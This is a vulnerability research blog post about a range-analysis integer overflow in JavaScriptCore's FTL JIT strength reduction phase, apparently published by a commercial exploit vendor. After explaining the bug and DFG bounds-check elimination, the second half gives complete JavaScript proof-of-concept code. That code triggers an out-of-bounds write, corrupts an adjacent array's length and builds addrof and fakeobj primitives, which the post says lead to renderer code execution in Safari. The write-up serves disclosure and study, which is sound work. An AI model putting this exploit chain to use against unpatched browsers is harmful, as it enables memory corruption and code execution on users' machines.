The strength reduction phase for the B3 IR is a large phase that handles things like constant folding and range analysis along with the actual strength reduction. This phase is defined in the Source/JavaScriptCore/b3/B3ReduceStrength.cpp file. One of the relevant classes used in this phase is the class IntRange with two member variables m_min and m_max.

				
					// File Name: Source/JavaScriptCore/b3/B3ReduceStrength.cpp

class IntRange {
public:
    ....
private:
    int64_t m_min { 0 };
    int64_t m_max { 0 };
};
				
			

Objects of IntRange type are used to represent integer ranges for B3 nodes with integer values. For example, the Add node in the B3 IR represents the result of the addition of its two operands. An instance of IntRange can be used to represent the range of the Add node, meaning the range of the addition result.

The m_min and m_max members are used to hold the minimum and the maximum values of the range, respectively. For example, if there is an Add node with a result that lies between [0, 100], then the result range can be represented with an IntRange object with m_min as 0 and m_max as 100. If you have worked with v8’s Turbofan, this will be reminiscent of the Typer Phase. If the range of a node cannot be determined, then it is assigned the top range, which is a range that encompasses the minimum and the maximum values of the given type. Hence, for a node with an int32 result, the top range would be [INT_MIN, INT_MAX]. The IntRange class has a generic function called top(), which returns an IntRange instance that covers the entire range for a given type.

The IntRange class has a number of methods that allow operations on ranges. For example, the add() method takes another range as an argument and returns the result of adding the two ranges as a new range. Only specific math operations are supported currently, which include bitwise left/right shifts, bitwise and, add, sub, and mul, among others.

We now know how ranges are represented. But who assigns ranges to nodes? For this, there is a function called rangeFor() in the strength reduction phase.

				
					// File Name: Source/JavaScriptCore/b3/B3ReduceStrength.cpp

IntRange rangeFor(Value* value, unsigned timeToLive = 5) {

[1] 
    
    if (!timeToLive)
        return IntRange::top(value-﹥type());
    switch (value-﹥opcode()) {
    
[2]
    
    case Const32:
    case Const64: {
        int64_t intValue = value-﹥asInt();
        return IntRange(intValue, intValue);
    }

[TRUNCATED]

[3]
    
    case Shl:
        if (value-﹥child(1)-﹥hasInt32()) {
            return rangeFor(value-﹥child(0), timeToLive - 1).shl(
                value-﹥child(1)-﹥asInt32(), value-﹥type());
        }
        break;

[TRUNCATED]

    default:
        break;
    }

    return IntRange::top(value-﹥type());
}
				
			

The above snippet shows a stripped-down version of the rangeFor() function. This function accepts a Value, which is the B3 speak for a node, and an integer timeToLive as arguments. If the timeToLive argument is zero, then it returns the top range for the node. Otherwise, it proceeds to calculate the range of the node based on the node opcode in a switch case. For example, if it’s a constant node, then the range of that node is calculated by creating an IntRange with the min and max values set to the constant value.

For nodes with more complex functionality, like those that have operands, there arises the need to first find out the range of the operand. The rangeFor() function often calls itself recursively in such cases. At [3], for example, the range calculation for the shift left operation node is shown. The shl node has 2 operands – the value to be shifted and the value that specifies the shift amount. In the rangeFor() function, the range is only calculated if the shift amount is a constant. First, the range of the value that is to be shifted is found by calling the rangeFor() function on the operand of the shift left node. We can see that when this function is recursively called, the timeToLive value is decremented by one. This is done to avoid infinite recursion as the top value is returned when timeToLive is zero. Once the range of the operand is found, the shl operation is performed on the range by calling the shl() method of the IntRange class. The shift amount and the type of the operand are passed to the function as arguments. This function will return the range of the shl node based on the value to be shifted and the shift amount.

The rangeFor() function only supports a few nodes under specific cases, like the constant shift amount case for the shl node. For all other nodes and cases, the topvalue is returned.

The next question that arises is how these ranges are used. The first thought that comes to mind is that it might be used for bounds check elimination. However, that is not the case in this phase. Bounds checks are eliminated in the FTL Integer Range Optimization phase, which works with the higher level DFG IR and has already run its course by the time we reach the b3 strength reduction phase. So let us look at where rangeFor() is used in the strength reduction phase. We see that the result of this range computation is used to simplify the following B3 nodes:

  1. CheckAdd – The arithmetic add operation with checks for integer overflows.
  2. CheckSub – The arithmetic subtract operation with checks for integer overflows.
  3. CheckMul – The arithmetic multiply operation with checks for integer overflows.

The code for simplifying the CheckSub node into its unchecked version (a simple Sub node without overflow checks) is shown in the following snippet. The other nodes are dealt with in a similar fashion.

				
					// File Name: Source/JavaScriptCore/b3/B3ReduceStrength.cpp

[1]

IntRange leftRange = rangeFor(m_value-﹥child(0));
IntRange rightRange = rangeFor(m_value-﹥child(1));

[2] 

if (!leftRange.couldOverflowSub(rightRange, m_value-﹥type())) {

[3]

    replaceWithNewValue(
        m_proc.add(Sub, m_value-﹥origin(), m_value-﹥child(0), m_value-﹥child(1)));
    break;
}
				
			

At [1], the ranges for the left and right operands of the CheckSub operation are computed. Then, at [2], the ranges are used to check if this CheckSub operation can overflow. If it cannot overflow, then the CheckSub is replaced with a simple Suboperation ([3]).

The same logic also applies to the CheckAdd and the CheckMul nodes. Hence we see that the range analysis is used to eliminate the integer overflow checks from the Addition, Subtraction, and Multiplication operations.

Vulnerability

The vulnerability is an integer overflow while calculating the range of an arithmetic left shift operation, in the strength reduction phase of the FTL (found in WebKit/Source/JavaScriptCore/b3/B3ReduceStrength.cpp). Let’s take a look at the following code snippet from the above-mentioned file:

				
					// File Name: Source/JavaScriptCore/b3/B3ReduceStrength.cpp
template﹤typename T﹥
IntRange shl(int32_t shiftAmount)
{
    T newMin = static_cast﹤T﹥(m_min) ﹤﹤ static_cast﹤T﹥(shiftAmount);
    T newMax = static_cast﹤T﹥(m_max) ﹤﹤ static_cast﹤T﹥(shiftAmount);

    if ((newMin ﹥﹥ shiftAmount) != static_cast﹤T﹥(m_min))
        newMin = std::numeric_limits﹤T﹥::min();
    if ((newMax ﹥﹥ shiftAmount) != static_cast﹤T﹥(m_max))
        newMax = std::numeric_limits﹤T﹥::max();

    return IntRange(newMin, newMax);
}
				
			

The shl() function is responsible for calculating the range of the shift left operation. As seen in the previous section, the m_min and m_max are class variables that hold the minimum and maximum value for a “variable”. We are referring to it as a variable here for simplicity, but this range is associated with the b3 node on which this operation is being performed. This function is called when there is a left shift operation on the variable. It updates the range (the m_min, m_max pair) of the variable to reflect the state after the left shift.

The logic used is simple. It first shifts the m_min value, which is the minimum value that the variable can have, by the shift amount to find the new minimum (stored in the newMin variable in the above snippet). It does the same with m_max. The function then performs a check for overflow. It right shifts the value and checks that it is equal to the old value before the left shift was done on the range. Keep in mind that the right shift is sign extended. Suppose that the original minimum before the left shift was 0x7fff_fff0, then after a left shift by one it will overflow into 0xffff_ffe0 (this is the negative number, -32, in hex). However, when this is again right shifted by 1, in the check for overflow on line 8, it is sign extended so the resulting value becomes 0xfffffff0 (the number -16 in hex). This is not equal to the original value, so the compiler knows that it overflowed and takes the conservative approach of setting the lower bounds to INT_MIN.

Even though overflow checks are performed, they are not sufficient.

Consider the example of an initial range of the input operand being [0, 0x7ffffffe] and the shift value of 1. The function detects that the upper bound may overflow and assigns the upper bound of the result as INT_MAX. However, it never changes the lower bound as the lower bounds cannot overflow (0<<1 = 0). Thus the range of the result value is calculated as [0,INT_MAX] where INT_MAX = 0x7fffffff. However, when the left shift is performed on the upper bound (0x7ffffffe) of the input range, it may overflow, become negative, and more importantly become smaller than the lower bound (0) of the input range. To wit, 0x7ffffffe<<1 = 0xfffffffc = -4. Thus the actual value, which is in the range [-4, INT_MAX], can fall outside the range computed by the FTL JIT, which is [0, INT_MAX].

Trigger

Now that we see what the bug is, we try to trigger it. For triggering it, we know that we need to call the range analysis on the shl opcode, which will be done if we use the result of the shift in some other operation like add, sub, or mul, that calls rangeFor() on its operands. Additionally, the shift amount is required to be a constant value; otherwise the top range is selected. Given the above constraints, a simple trigger can be constructed as follows:

				
					function jit(idx, times){
    // Inform the compiler that this is a number
    // with range [0, 0x7fff_ffff]
    let id = idx & 0x7fffffff;   
    // Bug trigger - This will overflow if id is large enough that
    // FTL thinks range is [0, INT_MAX]
    // Actual range is [INT_MIN, INT_MAX]
    let b = id ﹤﹤ 2;              
    
    // The sub calls `rangeFor` on its operands 
    return b-1;                    
}

function main(){
    // JIT compile the function with legitimate value to train the compiler
    for (let k=0; k﹤1000000; k++) { jit(k %10); } 
}

main()
				
			

Although the above PoC shows how to trigger the calculation of an incorrect range, it does not yet do anything else. Let us dump the B3 IR for the jit() function and check. In the jsc shell, the b3 IR can be dumped using the command line argument --dumpB3GraphAtEachPhase=true while running the shell. The “Reduce Strength” phase is called a few times in the b3 pipeline, so let us dump the IR and compare the graph immediately after generating the IR and after the last call to this phase. The relevant parts of the graph are shown below.

The following is the graph immediately after generating the IR:

				
					b3      Int32 b@132 = BitAnd(b@63, $2147483647(b@131), D@30)
...
b3      Int32 b@145 = Shl(b@132, b@144, D@34)
...
b3      Int32 b@155 = Const32(-1, D@44)
b3      Int32 b@156 = CheckAdd(b@145:WarmAny, $-1(b@155):WarmAny, b@145:ColdAny, generator = 0x7f297b0d9440, earlyClobbered = [], lateClobbered = [], usedRegisters = [], ExitsSideways|Reads:Top, D@38)
				
			

The b@132 node holds the result of the bit wise and that we added to tell the compiler that our input is an integer. The b@145 node is the result of the shl operation and the b@156 node the result of the add operation. The original code in the PoC calls return b-1. Here the compiler simplifies the subtraction into an addition by the time we got to the b3 phase. The addition is represented as a CheckAdd , which means that overflow checks are conducted for this add operation during codegen.

Below is the graph after the last call to the Strength Reduction Phase:

				
					b3      Int32 b@132 = BitAnd(b@63, $2147483647(b@131), D@30)
b3      Int32 b@27 = Const32(2, D@33)
b3      Int32 b@145 = Shl(b@132, $2(b@27), D@34)
b3      Int32 b@155 = Const32(-1, D@44)
b3      Int32 b@26 = Add(b@145, $-1(b@155), D@38)
				
			

Most steps are the same except for the last line: the CheckAdd operation was reduced to a simple Add operation, which lacks overflow checks during codegen. This substitution should not have happened as this operation can theoretically overflow and hence should require overflow checks. Therefore, based on this IR we can see that the bug is triggered.

Due to the incorrect range computation in the shl() function, the CheckAdd node incorrectly determines that the subtraction operation cannot overflow and drops the overflow checks to convert the node into an ordinary Add node. This can lead to an integer overflow vulnerability in the generated code. This gives us a way to convert the range overflow into an actual integer overflow in the JIT-ed code. Next, we will see how this can be leveraged to get a controlled out-of-bounds read/write on the JavaScriptCore heap.

Exploitation

To exploit this bug, we first try to convert the possible integer overflow into an out-of-bounds read/write on a JavaScript Array. After we get an out-of-bounds read/write, we create the addrof and fakeobj primitives. We need some knowledge of how objects are represented in JavaScriptCore. However, this has already been covered in detail by many others, so we will skip it for this post. If you are unfamiliar with object representation in JSC, we urge you to check out LiveOverflow’s excellent blogs on WebKit and the “Attacking JavaScript Engines” Phrack article by Samuel Groß.

We start by covering some concepts on the DFG.

DFG Relationships

In this section, we dive deeper into how DFG infers range information for nodes. It is not necessary to understand the bug, but it allows for a deeper understanding of the concept. If you do not feel like diving too deep, then feel free to skip to the next section. You will still be able to understand the rest of the post.

As mentioned before, JSC has 3 JIT compilers: the baseline JIT, the DFG JIT, and the FTL JIT. We saw that this vulnerability lies in the FTL JIT code and occurs after the DFG optimizations are run. Since the incorrect range is only used to reduce the “checked” version of Add, Sub and Mul nodes and never used anywhere else, there is no way of eliminating a bounds check in this phase. Thus it is necessary to look into the DFG IR phases, which take place prior to the code being lowered to B3 IR, for ways to remove bounds checks.

An interesting phase for the DFG IR is the Integer Range Optimization Phase (WebKit/Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp), which attempts to optimize certain instructions based on the range of their input operands. Essentially, this phase is only executed in the FTL compiler and not in the DFG compiler, but since it operates on the DFG IR, we refer to this as a DFG phase. This phase can be considered analogous to the “Typer phase” in Turbofan, the Chrome JIT compiler, or the “Range Analysis Phase” in IonMonkey, the Firefox JIT compiler. The Integer Range Optimization Phase is fairly complex overall, therefore only details relevant to this exploit are discussed here.

In the Integer Range Optimization phase, the range of a variety of nodes are computed in terms of Relationship class objects. To clarify how the Relationship objects work, let @a, @b, and @c be nodes in the IR. If @a is less than @b, it is represented in the Relationship object as @a < @b + 0. Now, this phase may encounter another operation on the node @a, which results in the relationship @a > @c + 5. The phase keeps track of all such relationships, and the final relationship is computed by a logical and of all the intermediate relationships. Thus, in the above case, the final result would be @a > @c + 5 && @a < @b + 0.

In the case of the CheckInBounds node, if the relationship of the index is greater than zero and less than the length, then the CheckInBounds node is eliminated. The following snippet highlights this.

				
					// File Name: Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp
// WebKit svn changeset: 266775

case CheckInBounds: {
    auto iter = m_relationships.find(node-﹥child1().node());
    if (iter == m_relationships.end())
        break;

    bool nonNegative = false;
    bool lessThanLength = false;
    for (Relationship relationship : iter-﹥value) {
        if (relationship.minValueOfLeft() ﹥= 0)
            nonNegative = true;

        if (relationship.right() == node-﹥child2().node()) {
            if (relationship.kind() == Relationship::Equal
                && relationship.offset() ﹤ 0)
                lessThanLength = true;

            if (relationship.kind() == Relationship::LessThan
                && relationship.offset() ﹤= 0)
                lessThanLength = true;
        }
    }

    if (DFGIntegerRangeOptimizationPhaseInternal::verbose)
        dataLogLn("CheckInBounds ", node, " has: ", nonNegative, " ", lessThanLength);

    if (nonNegative && lessThanLength) {
        executeNode(block-﹥at(nodeIndex));
        // We just need to make sure we are a value-producing node.
        node-﹥convertToIdentityOn(node-﹥child1().node());
        changed = true;
    }
    break;
}
				
			

The CompareLess node sets the relationship to @a < @b + 0 where @a is the first operand of the compare operation and @b is the second operand. If the second operand is array.length, where array is any JavaScript array, then this will set the value of the @a node to be less than the length of the array. The following snippet shows the corresponding code in the phase.

				
					// File Name: Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp
// WebKit svn changeset: 266775

case CompareLess:
    relationshipForTrue = Relationship::safeCreate(
        compare-﹥child1().node(), compare-﹥child2().node(),
        Relationship::LessThan, 0);
    break;
				
			

A similar case happens for the CompareGreater node, which can be used to satisfy the second condition for removing the check bounds node, namely if the value is greater than zero.

Our vulnerability is basically an addition/subtraction operation without overflow checks. Therefore, it would be interesting to take a look at how the range for the ArithAdd DFG node (which will be lowered to CheckAdd/CheckSub nodes when DFG is lowered to B3 IR) is calculated. This is far more complicated than the previous cases, so some relevant parts and code are discussed.

The following code shows the initial logic of computing the ranges for the ArithAdd node.

				
					// File Name: Source/JavaScriptCore/dfg/DFGIntegerRangeOptimizationPhase.cpp
// WebKit svn changeset: 266775

// Handle add: @value + constant.
if (!node-﹥child2()-﹥isInt32Constant())
    break;

int offset = node-﹥child2()-﹥asInt32();

// We add a relationship for @add == @value + constant, and then we copy the
// relationships for @value. This gives us a one-deep view of @value's existing
// relationships, which matches the one-deep search in setRelationship().

setRelationship(
    Relationship(node, node-﹥child1().node(), Relationship::Equal, offset));
				
			

As the comment says, if the statement is something like let var2 = var1 + 4, then the Relationship for var2 is initially set as @var2 = @var1 + 4. Further down, the Relationship for var1 is used to calculate the precise range for var2 (the result of the ArithAdd operation). Thus, with the code in the JavaScript snippet highlighted below, the range of the add variable, which is the result of the add operation, is determined as (4, INT_MAX). Due to the CompareGreater node, DFG already knows that num is in the range (0, INT_MAX) and therefore, after the add operations, it becomes (4, INT_MAX).

				
					function jit(num){
    if (num ﹥ 0){
        let add = num + 4;
        return add;
    }
}
				
			

Similarly, an upper range can be enforced by introducing a CompareLess node that compares with an array length as shown below.

				
					function jit(num){
    let array = [1,2,3,4,5,6,7,8,9,10];
    if (num ﹥ 0){
        let add = num + 4;
        if (add ﹤ array.length){
        
[1]
            return array[add];
        }
    }
}
				
			

Thus in this code, the range of the add variable at [1] is (0, array.length) which is in bounds of the array and thus the bounds check is removed.

Abusing DFG to eliminate the Bounds Check

In summary, if we have the following code:

				
					function jit(num){
    num = num | 0;
    let array = [1,2,3,4,5,6,7,8,9,10];
    if (num ﹥ 0){                          // [1]
        let add = num + 4;                  // [2]
        if (add ﹤ array.length){           // [3]
            return array[add];              // [4]
        }
    }
}
				
			

At [2], DFG knows that the variable add is greater than 0 due to it passing the check at [1]. Similarly, at [4] it knows that the add variable is less than array.length due to it passing the check at [3]. Putting both of these together, DFG can see that the addvariable is greater than zero and less than array.length when the execution reaches [4], where the element with index add is retrieved from the array. Thus DFG can safely say that the range of add at [4] is [4, array.length]; it removes the bounds check as it assumes that the check will always pass. Now, what would happen if an integer overflow happens on [2], where add is calculated as num + 4? DFG relies on the fact that all these arithmetic operations are checked for an overflow and if an overflow happens, the code will bail out of the JIT-compiled code. This is the assumption that we want to break.

Now that the bounds check has successfully been removed by DFG, triggering the bug will be a whole lot easier. Let’s dig in!

FTL will convert the DFG IR into the B3 representation and perform various optimizations. One of the early optimizations is strength reduction, which performs a variety of optimizations like constant folding, simple common sub-expression elimination, simplifying nodes to a lower form (eg – CheckSub -> Sub), etc. The code in the following snippet shows a simple and unstable proof of concept for triggering the bug.

				
					function jit(idx){
    // The array on which we will do the oob access
    let a = [1,2,3,4,5,6,7,8,9,0,12,3,4,5,6,7,8,9,23,234,423,234,234,234]; 

[1]
    // Inform the compiler that this is a number 
    // with range [0, 0x7fff_ffff]
    let id = idx & 0x7fffffff;  
    
[2]
    // Bug trigger - This will overflow if id is large enough. 
    // FTL thinks range is [0, INT_MAX], Actual range is [INT_MIN, INT_MAX]
    let b = id ﹤﹤ 2;   
    
[3]
    // Tell DFG IR that b is less than array length. 
    // According to DFG, b is in [INT_MIN, array.length)
    if (b ﹤ a.length){            
    
[4]
        // On exploit run - convert the overflowed value 
        // into a positive value. 
        let c = b - 0x7fffffff;  
        
[5]
        // force jit else dfg will update with osrExit
        if (c ﹤ 0) c = 1;   
        
[6]
        // Tell DFG that 'c' ﹥ 0. It already knows c is less than array.length. 
        if (c ﹥ 0){          
        
[7]
            // DFG thinks that c is inbounds, range = [0, array.length). 
            // Thus it removes bounds check and this is oob
            return a[ c ];          
        }
        else{
            return [ c ,1234]
        }
    }
    else{
        return 0x1337
    }
}

function main(){

    // JIT compile the function with legitimate value 
    // to train the compiler
    for (let k=0; k﹤1000000; k++){jit(k %10);}  
    
    // Trigger the bug by passing the argument as 0x7fff_ffff 
    print(jit(2147483647))                       
}
main()
				
			

The above PoC is just a modification of what was discussed at the start of this section. As before, there is no CheckInBounds node for the array load at [7].

Note that the DFG compiler thinks that the code at [4], b - 0x7ffffff, will never overflow because DFG assumes that this operation is checked, and thus an overflow would cause a bail out from the JIT code.

In B3, the range of b at [2] is incorrectly calculated as [0, 0x7fff_ffff] (due to the integer overflow bug we discussed earlier). This leads to the incorrect lowering of c at [4] from CheckSub to Sub as B3 now assumes that the sub-operation never overflows. This breaks the assumptions made by DFG to remove the bounds check because it is possible for b - 0x7ffffff to overflow and attain a large positive value. When running the exploit, the value of b becomes0x7fff_ffff << 2 = 0xffff_fffc (it overflows and gets converted to 32-bit). This value is -4 in hex, and when -0x7fff_ffff is added to it at [4], a signed overflow happens: -4 - 0x7fff_ffff = 0x7ffffffd. Thus the value of c (which is already verified by DFG to be less than the array length) becomes more than array.length. This crashes JSC when it tries to use this huge value to do an out-of-bounds read.

On a side note, [5] (if (c < 0) c = 1) forces the JIT compilation of [7] even if the bug is not triggered, as otherwise [7] will never be executed (it is unreachable with normal inputs) when the main function is getting JIT-compiled.

Though this PoC crashes JSC, it is essentially an uncontrolled value and might not even crash as it is possible that the page that it is trying to read is mapped with read permissions. Thus, unless we want to spray gigabytes of memory to exploit the out-of-bounds read, we need to control this value for more stability and exploitability.

Controlling the Out-of-Bounds Read/Write

After some tests, we found that single decrements to the index do not break the assumptions made by the DFG optimizer. Hence to better control the out-of-bounds index, it can be single-decremented a desired number of times before the length check. The final version of the jit() function that provides full control over the out-of-bounds index, as well as functions in the Safari browser, is highlighted in the following PoC.

				
					function jit(idx, times,val){
    let a = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
    let big = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
    let new_ary = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
    let tmp = 13.37;
    let id = idx & 0x7fffffff;

[1]
    let b = id ﹤﹤ 2;
    
[2]
    if (b ﹤ a.length){ 
    
[3]
        let c = b - 0x7fffffff;
        
        // force jit else dfg will update with osrExit
        if (c ﹤ 0) c = 1; 
    
[4]
        // Single decerement the value of c
        while(c ﹥ 1){
            if(times ﹤= 0){
                break
            }else{
                c -= 1;
                times -= 1;
            }
        }
        
[5]
        if (c ﹥ 0){
[6]
            tmp = a[ c ];

[7]
            a[ c ] = val;
            return [big, tmp, new_ary];
        }
    }
}

function main(){

[8]
    for (let k=0; k﹤1000000; k++){jit(k %10,1,1.1);}
    let target_length = 7.82252528543333e-310;         // 0x900000008000

[9]
    print(jit(2147483647, 0x7ffffff0,target_length));
}
main()
				
			

The function jit() is JIT-compiled at [8]. There is no CheckInBounds for the array load at [6] for the reasons discussed above. The jit() call at [9] triggers the bug by passing a value of 0x7fffffff to the jitted function. When this is passed, the value of b at [1] becomes -4 (result of 0x7fffffff << 2 wrapped to 32 bits becomes 0xfffffffc). This is obviously less than a.length (b is negative, and it is a signed comparison) so it passes the check at [2]. The subtract operation at [3] does not check for overflow and results in c obtaining a large positive value (0x7ffffffd) due to an integer overflow. This can be further reduced to a controlled value by doing single decrements, which the while loop at [4] does. At the end of the loop, c contains a value of 0xd. Now this is greater than zero, so it passes the check at [5] and ends up in a controlled out-of-bounds read at [6] and an out-of-bounds write at [7]. This ends up corrupting the length field of the array that lies immediately after the array a (the big array) and sets its length and capacity to a huge value. This results in the big array being able to read/write out-of-bounds values over a large extent on the heap.

Note that in the above PoC, we are writing out of bounds to corrupt the length field of the big array. We are writing an 8-byte double value, so we write 0x9000_00008000 encoded as a double. The lower 4 bytes of this value (i.e. 0x8000) signify the length, and the upper 4 bytes (0x9000) is the capacity we are setting.

In order to control the OOB read, an attacker can just change the value of the times argument for the jit() function at [9]. Let us now leverage this to gain the addrof and fakeobj primitives!

The addrof and fakeobj Primitives

The addrof primitive allows us to get an object’s address, while the fakeobj primitive gives us the ability to load a crafted fake object. Refer to the Phrack article by Samuel Groß for more details.

The addrof primitive can be achieved by reading out of bounds from an ArrayWithDouble array to read an object pointer. The fakeobj primitive can be achieved by writing the address as a double into an ArrayWithContiguous array using an out-of-bounds read. The following leverages the bug we see to attain this.

The out-of-bounds write is used to corrupt the length and capacity of the big array which is adjacent to the array a. This provides an ability to do a clean out-of-bounds read/write into the new_ary array from the big array. After the length and capacity of the big array are corrupted, both the big and new_ary arrays are returned to the calling function.

Let the arrays returned from the jit() function be called oob_rw_ary and confusion_ary. Initially, both of them are of the ArrayWithDouble type. However, for the confusion_ary  array, we force a structure transition to the ArrayWithContiguous type.

				
					function pwn(){
log("started!")

    // optimize the buggy function
    for (let k=0; k﹤1000000; k++){jit_bug(k %10,1,1.1);}

    let oob_rw_ary = undefined;
    let target_length = 7.82252528543333e-310; // 0x900000008000
    let target_real_len = 0x8000
    let confusion_ary = undefined;

    // Trigger the oob write to edit the length of an array
    let res = jit_bug(2147483647, 0x7ffffff0,target_length)
    oob_rw_ary = res[0];
    confusion_ary = res[2];
    
    // Convert the float array to a jsValue array
    confusion_ary[1] = {}; 
    log(hex(f2i(res[1])) + " length -﹥ "+oob_rw_ary.length);

    if(oob_rw_ary.length != target_real_len){
        log("[-] exploit failed -&gt; bad array length; maybe not vulnerable?")
        return 1;
    }

    // index of confusion_ary[1]
    let confusion_idx = 15; 
}
				
			

At this point, the necessary setup for the addrof and fakeobj primitives is done. Since the oob_rw_ary array can go out of bounds to the confusion_ary array, it is possible to write object pointers as doubles into it.

The addrof primitive is achieved by writing an object to the confusion_ary array and then reading it out-of-bounds as a double from the oob_rw_ary array.

Similarly, the fakeobj primitive is implemented by writing an object pointer out-of-bounds as a double to the oob_rw_ary array and then reading it as an object from confusion_ary.

				
					
    function addrof(obj){
        let addr = undefined;
        confusion_ary[1] = obj;
        addr = f2i(oob_rw_ary[confusion_idx]);
        log("[addrof] -﹥ "+hex(addr));
        return addr;
    }

    function fakeobj(addr){
        let obj = undefined;
        log("[fakeobj] getting obj from -﹥ "+hex(addr));
        oob_rw_ary[confusion_idx] = i2f(addr)
        obj = confusion_ary[1];
        confusion_ary[1] = 0.0; // clear the cell
        log("[fakeobj] fakeobj ok");
        return obj
    }
				
			

And there we go! We have successfully converted the bug into a stable addrof and fakeobj primitives!

All together

Let us put all this together to see the full PoC that achieves the addrof and fakeobj from the initial bug:

				
					var convert = new ArrayBuffer(0x10);
var u32 = new Uint32Array(convert);
var u8 = new Uint8Array(convert);
var f64 = new Float64Array(convert);
var BASE = 0x100000000;
let switch_var = 0;
function i2f(i) {
    u32[0] = i%BASE;
    u32[1] = i/BASE;
    return f64[0];
}

function f2i(f) {
    f64[0] = f;
    return u32[0] + BASE*u32[1];
}

function unbox_double(d) {
    f64[0] = d;
    u8[6] -= 1;
    return f64[0];
}

function hex(x) {
    if (x ﹤ 0)
        return `-${hex(-x)}`;
    return `0x${x.toString(16)}`;
}

function log(data){
    print("[~] DEBUG [~] " + data)
}


function pwn(){
	log("started!")

    /* The function that will trigger the overflow to corrupt the length of the following array */

    function jit_bug(idx, times,val){
        let a = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
        let big = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
        let new_ary = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11);
        let tmp = 13.37;
        let id = idx & 0x7fffffff;
        let b = id ﹤﹤ 2;
        if (b ﹤ a.length){ 
            let c = b - 0x7fffffff;
            if (c ﹤ 0) c = 1; // force jit else dfg will update with osrExit
            while(c ﹥ 1){
                if(times == 0){
                    break
                }else{
                    c -= 1;
                    times -= 1;
                }
            }
            if (c ﹥ 0){
                tmp = a[ c ];
                a[ c ] = val;
                return [big, tmp, new_ary]
            }
        }
    }

    for (let k=0; k﹤1000000; k++){jit_bug(k %10,1,1.1);} // optimize the buggy function

    let oob_rw_ary = undefined;
    let target_length = 7.82252528543333e-310; // 0x900000008000
    let target_real_len = 0x8000
    let confusion_ary = undefined;

    // Trigger the oob write to edit the length of an array
    let res = jit_bug(2147483647, 0x7ffffff0,target_length)
    oob_rw_ary = res[0];
    confusion_ary = res[2];
    confusion_ary[1] = {}; // Convert the float array to a jsValue array
    log(hex(f2i(res[1])) + " length -﹥ "+oob_rw_ary.length);

    if(oob_rw_ary.length != target_real_len){
        log("[-] exploit failed -﹥ bad array length; maybe not vulnerable?")
        return 1;
    }

    let confusion_idx = 15; // index of confusion_ary[1]

    function addrof(obj){
        let addr = undefined;
        confusion_ary[1] = obj;
        addr = f2i(oob_rw_ary[confusion_idx]);
        log("[addrof] -﹥ "+hex(addr));
        return addr;
    }

    function fakeobj(addr){
        let obj = undefined;
        log("[fakeobj] getting obj from -﹥ "+hex(addr));
        oob_rw_ary[confusion_idx] = i2f(addr)
        obj = confusion_ary[1];
        confusion_ary[1] = 0.0; // clear the cell
        log("[fakeobj] fakeobj ok");
        return obj
    }

    /// Verify that addrof works
    let obj = {p1: 0x1337};
    // print the actual address of the object
    log(describe(obj));
    // Leak the address of the object
    log(hex(addrof(obj)));

    /// Verify that the fakeobj works. This will crash the engine
    log(describe(fakeobj(0x41414141)));
}
pwn();
				
			

This will leak the address of the obj object with addrof() and try to create a fake object on the address 0x41414141 which will end up crashing the engine. This should work on any version of a vulnerable JSC build.

Conclusion

We discussed a vulnerability we found in 2020 in the FTL JIT compiler, where an incorrect range computation led to an integer overflow. We saw how we could convert this integer overflow into a stable out-of-bounds read/write on the JavaScriptCore heap and use that to create the addrof and fakeobj primitives. These primitives allow a renderer code execution exploit on Intel Macs.

This bug was patched in the May 2021 update to Safari. The patch for this vulnerability is simple: if an overflow occurs, then the upper and lower bounds are set to the Max and Min value of that type respectively.

The vulnerability patch

We hope you enjoyed reading this. If you are hungry for more, make sure to check our other blog posts.

About Exodus Intelligence

Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.

For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact info@exodusintel.com for further discussion.